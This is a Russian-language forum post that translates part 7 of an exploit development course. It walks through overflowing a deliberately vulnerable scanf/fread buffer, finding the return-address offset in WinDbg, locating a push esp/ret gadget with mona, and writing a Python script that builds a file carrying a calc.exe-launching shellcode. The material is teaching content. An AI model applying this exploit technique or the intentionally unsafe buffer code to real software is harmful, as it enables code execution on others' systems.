R0 CREW

Exploit Development Course Part 7: Exploitme1 (“ret eip” overwrite) (Перевод: klaus)

Перейти к содержанию

Exploitme1 (“ret eip” overwrite)

Вот пример С/С++ кода который имеет очевидную уязвимость:

#include <cstdio>
 
int main() {
    char name[32];
    printf("Enter your name and press ENTER\n");
    scanf("%s", name);
    printf("Hi, %s!\n", name);
    return 0;
}

Проблема в том, что scanf() будет продолжать записывать информацию за границы массива name. Что бы проверить уязвимость, запустите программу и введите очень длинное имя на подобии такого:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Программа должна вывести:

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

и потом завершиться с ошибкой.

Интересное поведение программы в том, что если ввести конкретное имя, то мы можем добиться выполнение произвольного кода.

Прежде всего, в VS 2013, нам надо отключить DEP и stack cookies перейдя в Project→properties и изменить конфигурацию Release следующим образом:

  • Configuration Properties

    • C/C++

      • Code Generation
      • Security Check: Disable Security Check (/GS-)
  • Linker

    • Advanced

      • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

Представления нашей функции main() в ассемблерных кодах:

int main() {
01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  
    char name[32];
    printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01       push        1392100h  
0139100B FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
    scanf("%s", name);
01391011 8D 45 E0             lea         eax,[name]  
01391014 50                   push        eax  
01391015 68 24 21 39 01       push        1392124h  
0139101A FF 15 94 20 39 01    call        dword ptr ds:[1392094h]  
    printf("Hi, %s!\n", name);
01391020 8D 45 E0             lea         eax,[name]  
01391023 50                   push        eax  
01391024 68 28 21 39 01       push        1392128h  
01391029 FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
0139102F 83 C4 14             add         esp,14h  
    return 0;
01391032 33 C0                xor         eax,eax  
}
01391034 8B E5                mov         esp,ebp  
01391036 5D                   pop         ebp  
01391037 C3                   ret

Ассемблерный код который вызывает main():

mainret = main(argc, argv, envp);
00261222 FF 35 34 30 26 00    push        dword ptr ds:[263034h]  
00261228 FF 35 30 30 26 00    push        dword ptr ds:[263030h]  
0026122E FF 35 2C 30 26 00    push        dword ptr ds:[26302Ch]  
00261234 E8 C7 FD FF FF       call        main (0261000h)  
00261239 83 C4 0C             add         esp,0Ch

Как вы знаете, стек растет по направлению к меньшим адресам. Представление стека после трех пушей которые представлены выше:

esp -->  argc         ; третий push
           argv         ; второй push
           envp         ; первый push

Инструкция call проталкивает адрес 0x261239 в стек так, что бы инструкция ret могла вернуться к коду следующему после call инструкции. Сразу после инструкции call, в начале функции main() стек выглядит следующим образом:

 esp -->  ret eip      ; 0x261239
           argc         ; третий push
           argv         ; второй push
           envp         ; первый push

Функция main() начинается с:

01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h

После этих трех инструкций, стек приобретает следующий вид:

esp -->  name[0..3]   ; первые 4 байта "name"
           name[4..7]
           .
           .
           .
           name[28..31] ; последние 4 байта "name"
  ebp -->  сохраненный ebp
           ret eip      ; 0x261239
           argc         ; третий push
           argv         ; второй push
           envp         ; первый push

Сейчас scanf() читает данные из стандартного ввода и записывает их в name. Если данные больше 32-х байт, инструкция ret eip будет перезаписана.

Давайте посмотрим на последние 3 инструкции main():

 01391034 8B E5                mov         esp,ebp  
  01391036 5D                   pop         ebp  
  01391037 C3                   ret

После mov esp, ebp стек выглядит так:

esp,ebp -> сохраненный ebp
           ret eip      ; 0x261239
           argc         ; третий push
           argv         ; второй push
           envp         ; первый push

После pop ebp мы получим:

esp -->  ret eip      ; 0x261239
           argc         ; третий push
           argv         ; второй push
           envp         ; первый push

В конце, ret возвращает ret eip с вершины стека и переходит по тому адресу. Если мы изменим ret eip, мы сможем изменить поток выполнения куда захотим. Как уже было сказано, мы можем перезаписать ret eip записывая данные за границу массива name. Это возможно из-за того, что scanf() не проверяет длину входящих данных.

Смотря на схему выше, вы должны убедиться что ret eip это адрес name + 36.
В VS 2013, запустите отладчик нажатием клавиши F5 и введите много символов «а»:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Программа должна завершиться с ошибкой (упасть) и должно появиться диалоговое окно со следующим содержимым:

Unhandled exception at 0x61616161 in exploitme1.exe: 0xC0000005: Access violation reading location 0x61616161.

ASCII код для символа «а» - 0x61. Мы перезаписываем ret eip символами «аааа», т.е. 0x61616161, и ret инструкция перейдет по адресу 0x61616161 который является некорректным. Давайте проверим тот факт, что ret eip это name + 36 введя 36 символов «а», четыре «b» и несколько «с»:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc

Нас поприветствуют следующим сообщением:

Unhandled exception at 0x62626262 in exploitme1.exe: 0xC0000005: Access violation reading location 0x62626262.

Это подтверждает наши догадки. (Заметьте что 0x62626262 это “bbbb“.)

Подведем итог, вот наш стек до и после выполнения функции scanf():

	  name[0..3]                      aaaa
         name[4..7]                      aaaa
         .                               .
    B    .                          A    .
    E    .                          F    .
    F    name[28..31]  =========>   T    aaaa
    O    saved ebp                  E    aaaa
    R    ret eip                    R    bbbb
    E    argc                            cccc
         argv                            cccc
         envp                            cccc

Что бы сделать этот процесс проще, давайте изменим программу таким образом, что бы текст читался из текстового файла c:\name.dat:

#include <cstdio>
 
int main() {
    char name[32];
    printf("Reading name from file...\n");
 
    FILE *f = fopen("c:\\name.dat", "rb");
    if (!f)
        return -1;
    fseek(f, 0L, SEEK_END);
    long bytes = ftell(f);
    fseek(f, 0L, SEEK_SET);
    fread(name, 1, bytes, f);
    name[bytes] = '\0';
    fclose(f);
 
    printf("Hi, %s!\n", name);
    return 0;
}

Создайте файл [I]name.dat в c:[/I] со следующим содержимым:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc

Теперь загрузите exploitme1.exe в WinDbg и нажмите клавишу F5 (go). Вы должны увидить исключение:

(180c.5b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d383071 edx=00835451 esi=00000001 edi=00000000
eip=62626262 esp=0041f7d0 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???

Давайте посмотрим на часть стека, на которую указывает ESP:

0:000> d @esp
0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.
0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v
0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~
0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~
0041f830  00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00  ............ .A.
0041f840  00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02  .........q.w(...
0:000> d @esp-0x20
0041f7b0  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0041f7c0  61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62  aaaaaaaaaaaabbbb
0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.
0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v
0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~
0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~

Замечательно! ESP указывает на наши символы «с». Обратите внимание на то, что ESP содержит 0x41f7d0. Теперь давайте запустим exploitme1.exe снова выполнив CTRL+SHIFT+F5 (restart) и потом F5. Смотрим снова на стек:

0:000> d @esp
0042fce0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0042fcf0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0042fd00  ec fc 42 00 29 00 00 00-54 fd 42 00 09 17 12 00  ..B.)...T.B.....
0042fd10  94 7f 07 21 00 00 00 00-24 fd 42 00 8a 33 0c 76  ...!....$.B..3.v
0042fd20  00 e0 fd 7e 64 fd 42 00-72 9f 9f 77 00 e0 fd 7e  ...~d.B.r..w...~
0042fd30  c4 79 5c 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  .y\u...........~
0042fd40  00 00 00 00 00 00 00 00-00 00 00 00 30 fd 42 00  ............0.B.
0042fd50  00 00 00 00 ff ff ff ff-f5 71 a3 77 f0 41 80 02  .........q.w.A..

Как видите, ESP все еще указывает на наши символы «с», но адрес уже другой. Допустим мы вставим наш шелл-код на место «с». Мы не сможем перезаписать ret eip значением 0x42fce0 потому что правильным адрес продолжает меняться. Зато ESP всегда указывает на наш шелл-код, так почему же нам не переписать ret eip адресом части памяти которая содержит JMP ESP инструкцию?

Давайте используем mona’y (статья) что бы найти эту инструкцию:

0:000> .load pykd.pyd
0:000> !py mona
Hold on...
[+] Command used:
!py mona.py
     'mona' - Exploit Development Swiss Army Knife - WinDbg (32bit)
     Plugin version : 2.0 r554
     PyKD version 0.2.0.29
     Written by Corelan - https://www.corelan.be
     Project page : https://github.com/corelan/mona
    |------------------------------------------------------------------|
    |                                                                  |
    |    _____ ___  ____  ____  ____ _                                 |
    |    / __ `__ \/ __ \/ __ \/ __ `/  https://www.corelan.be         |
    |   / / / / / / /_/ / / / / /_/ /  https://www.corelan-training.com|
    |  /_/ /_/ /_/\____/_/ /_/\__,_/  #corelan (Freenode IRC)          |
    |                                                                  |
    |------------------------------------------------------------------|

Global options :
----------------
You can use one or more of the following global options on any command that will perform
a search in one or more modules, returning a list of pointers :
 -n                     : Skip modules that start with a null byte. If this is too broad, use
                          option -cm nonull instead
 -o                     : Ignore OS modules
 -p <nr>                : Stop search after <nr> pointers.
 -m <module,module,...> : only query the given modules. Be sure what you are doing !
                          You can specify multiple modules (comma separated)
                          Tip : you can use -m *  to include all modules. All other module criteria will be ignored
                          Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,
                          blah or *blah* = contains blah
 -cm <crit,crit,...>    : Apply some additional criteria to the modules to query.
                          You can use one or more of the following criteria :
                          aslr,safeseh,rebase,nx,os
                          You can enable or disable a certain criterium by setting it to true or false
                          Example :  -cm aslr=true,safeseh=false
                          Suppose you want to search for p/p/r in aslr enabled modules, you could call
                          !mona seh -cm aslr
 -cp <crit,crit,...>    : Apply some criteria to the pointers to return
                          Available options are :
                          unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev
                          Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit
 -cpb '\x00\x01'        : Provide list with bad chars, applies to pointers
                          You can use .. to indicate a range of bytes (in between 2 bad chars)
 -x <access>            : Specify desired access level of the returning pointers. If not specified,
                          only executable pointers will be return.
                          Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *

Usage :
-------

 !mona <command> <parameter>

Available commands and parameters :

? / eval             | Evaluate an expression
allocmem / alloc     | Allocate some memory in the process
assemble / asm       | Convert instructions to opcode. Separate multiple instructions with #
bpseh / sehbp        | Set a breakpoint on all current SEH Handler function pointers
breakfunc / bf       | Set a breakpoint on an exported function in on or more dll's
breakpoint / bp      | Set a memory breakpoint on read/write or execute of a given address
bytearray / ba       | Creates a byte array, can be used to find bad characters
changeacl / ca       | Change the ACL of a given page
compare / cmp        | Compare contents of a binary file with a copy in memory
config / conf        | Manage configuration file (mona.ini)
copy / cp            | Copy bytes from one location to another
dump                 | Dump the specified range of memory to a file
dumplog / dl         | Dump objects present in alloc/free log file
dumpobj / do         | Dump the contents of an object
egghunter / egg      | Create egghunter code
encode / enc         | Encode a series of bytes
filecompare / fc     | Compares 2 or more files created by mona using the same output commands
fillchunk / fchunk   | Fill a heap chunk referenced by a register
find / f             | Find bytes in memory
findmsp / findmsf    | Find cyclic pattern in memory
findwild / fw        | Find instructions in memory, accepts wildcards
flow / flw           | Simulate execution flows, including all branch combinations
fwptr / fwp          | Find Writeable Pointers that get called
geteat / eat         | Show EAT of selected module(s)
getiat / iat         | Show IAT of selected module(s)
getpc                | Show getpc routines for specific registers
gflags / gf          | Show current GFlags settings from PEB.NtGlobalFlag
header               | Read a binary file and convert content to a nice 'header' string
heap                 | Show heap related information
help                 | show help
hidedebug / hd       | Attempt to hide the debugger
info                 | Show information about a given address in the context of the loaded application
infodump / if        | Dumps specific parts of memory to file
jmp / j              | Find pointers that will allow you to jump to a register
jop                  | Finds gadgets that can be used in a JOP exploit
kb / kb              | Manage Knowledgebase data
modules / mod        | Show all loaded modules and their properties
noaslr               | Show modules that are not aslr or rebased
nosafeseh            | Show modules that are not safeseh protected
nosafesehaslr        | Show modules that are not safeseh protected, not aslr and not rebased
offset               | Calculate the number of bytes between two addresses
pageacl / pacl       | Show ACL associated with mapped pages
pattern_create / pc  | Create a cyclic pattern of a given size
pattern_offset / po  | Find location of 4 bytes in a cyclic pattern
peb / peb            | Show location of the PEB
rop                  | Finds gadgets that can be used in a ROP exploit and do ROP magic with them
ropfunc              | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain
seh                  | Find pointers to assist with SEH overwrite exploits
sehchain / exchain   | Show the current SEH chain
skeleton             | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit
stackpivot           | Finds stackpivots (move stackpointer to controlled area)
stacks               | Show all stacks for all threads in the running application
string / str         | Read or write a string from/to memory
suggest              | Suggest an exploit buffer structure
teb / teb            | Show TEB related information
tobp / 2bp           | Generate WinDbg syntax to create a logging breakpoint at given location
unicodealign / ua    | Generate venetian alignment code for unicode stack buffer overflow
update / up          | Update mona to the latest version

Want more info about a given command ?  Run !mona help

Строка, которой мы интересовались:

jmp / j              | Найди указатели который разрешат вам перепрыгнуть вам к регистру 

Попробуем это:

0:000> !py mona jmp
Hold on...
[+] Command used:
!py mona.py jmp
Usage :
Default module criteria : non aslr, non rebase
Mandatory argument :  -r   where reg is a valid register

[+] This mona.py action took 0:00:00

Хорошо, нам нужен другой аргумент:

0:000> !py mona jmp -r ESP
Hold on...
[+] Command used:
!py mona.py jmp -r ESP

---------- Mona command started on 2015-03-18 02:30:53 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 0 modules
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile jmp.txt
    Found a total of 0 pointers

[+] This mona.py action took 0:00:00.110000

К сожалению она не нашла ни одного модуля. Проблема в том, что все модули используют ASLR (Address Space Layout Randomization), т.е. их базовый адрес меняется каждое раз когда они загружаются в память. Представим себе, что сейчас нету ASLR и поищем JMP ESP в kernel32.dll модуле. Так как этот модуль расшарен всем приложениям, его позиция меняется только когда Windows был перезагружен, но пока это он не перезагружен, мы можем представить себе что ASLR не существует.

Указать mona’e искать в kernel32.dll нам поможет глобальная опция –m:

0:000> !py mona jmp -r ESP -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py jmp -r ESP -m kernel32.dll

---------- Mona command started on 2015-03-18 02:36:58 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules kernel32.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module kernel32.dll
                                         ^ Memory access error in '!py mona jmp -r ESP -m kernel32.dll'
 ** Unable to process searchPattern 'mov eax,esp # jmp eax'. **
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
    - Number of pointers of type 'call esp' : 2
    - Number of pointers of type 'push esp # ret ' : 1
[+] Results :
0x760e7133 |   0x760e7133 (b+0x00037133)  : call esp | ascii {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7614ceb2 |   0x7614ceb2 (b+0x0009ceb2)  : call esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7610a980 |   0x7610a980 (b+0x0005a980)  : push esp # ret  |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
    Found a total of 3 pointers

[+] This mona.py action took 0:00:00.172000

Отлично! Она нашла три адреса. Давайте используем последний:

0x7610a980 |   0x7610a980 (b+0x0005a980)  : push esp # ret  |  {PAGE_EXECUTE_READ}

Проверим являются ли адреса корректными:

0:000> u 0x7610a980
kernel32!GetProfileStringW+0x1d3e4:
7610a980 54              push    esp
7610a981 c3              ret
7610a982 1076db          adc     byte ptr [esi-25h],dh
7610a985 fa              cli
7610a986 157640c310      adc     eax,10C34076h
7610a98b 76c8            jbe     kernel32!GetProfileStringW+0x1d3b9 (7610a955)
7610a98d fa              cli
7610a98e 157630c310      adc     eax,10C33076h

Как видите, mona будет искать не только JMP инструкции, но и CALL и PUSH+RET инструкции. По этому нам не надо перезаписывать ret eip значением 0x7610a980, т.е. байтами “\x80\xa9\x10\x76” (помните что порядок байтов в Intel CPU little-endian).

Давайте напишем маленький Python скрипт. Откроем редактор и введем:

with open('c:\\name.dat', 'wb') as f:
    ret_eip = '\x80\xa9\x10\x76'
    shellcode = '\xcc'
    name = 'a'*36 + ret_eip + shellcode
    f.write(name)

Перезапустите exploitme1.exe в WinDbg, нажмите F5 и WinDbg прервется на нашем шелл-коде (0xCC это опкод для int 3 которая используется отладчиками для программной точки останова):

(1adc.1750): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=00000000 ecx=6d383071 edx=002e5437 esi=00000001 edi=00000000
eip=001cfbf8 esp=001cfbf8 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
001cfbf8 cc              int     3

Теперь напишем реальный шелл-код:

with open('c:\\name.dat', 'wb') as f:
    ret_eip = '\x80\xa9\x10\x76'
    shellcode = ("\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02"+
        "\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa"+
        "\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8"+
        "\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02"+
        "\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45"+
        "\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6"+
        "\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c"+
        "\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0"+
        "\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53"+
        "\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45"+
        "\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2"+
        "\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b"+
        "\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff"+
        "\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0"+
        "\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75"+
        "\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d"+
        "\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c"+
        "\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24"+
        "\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04"+
        "\x30\x03\xc6\xeb\xdd")
    name = 'a'*36 + ret_eip + shellcode
    f.write(name)

Шелл-код был создан используя:

#define HASH_ExitThread             0x4b3153e0
#define HASH_WinExec                0x7bb4c07f
 
int entryPoint() {
    DefineFuncPtr(WinExec);
    DefineFuncPtr(ExitThread);
 
    char calc[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' };     // makes our shellcode shorter
    My_WinExec(calc, SW_SHOW);
    My_ExitThread(0);
 
    return 0;
}

Что бы освежить знания, вы можете пересмотреть статью о шелл-коде.

Если вы сейчас запустите exploitme1.exe, то перед вами должно быть окно калькулятора. Вау… наш первый эксплоит!

Выявление неисправностей

Если эксплойт не работает в вашей системе, этому может послужить причиной ограниченное место в стеке. Прочитайте статью «Больше места в стеке».

© Translated by klaus (r0 Crew)

Ну ты прям метеор!

Молодая кровь, Я не успеваю ссылки постить в твитер.)))))

Молодец, так держать.

Пока есть время и возможности :slight_smile: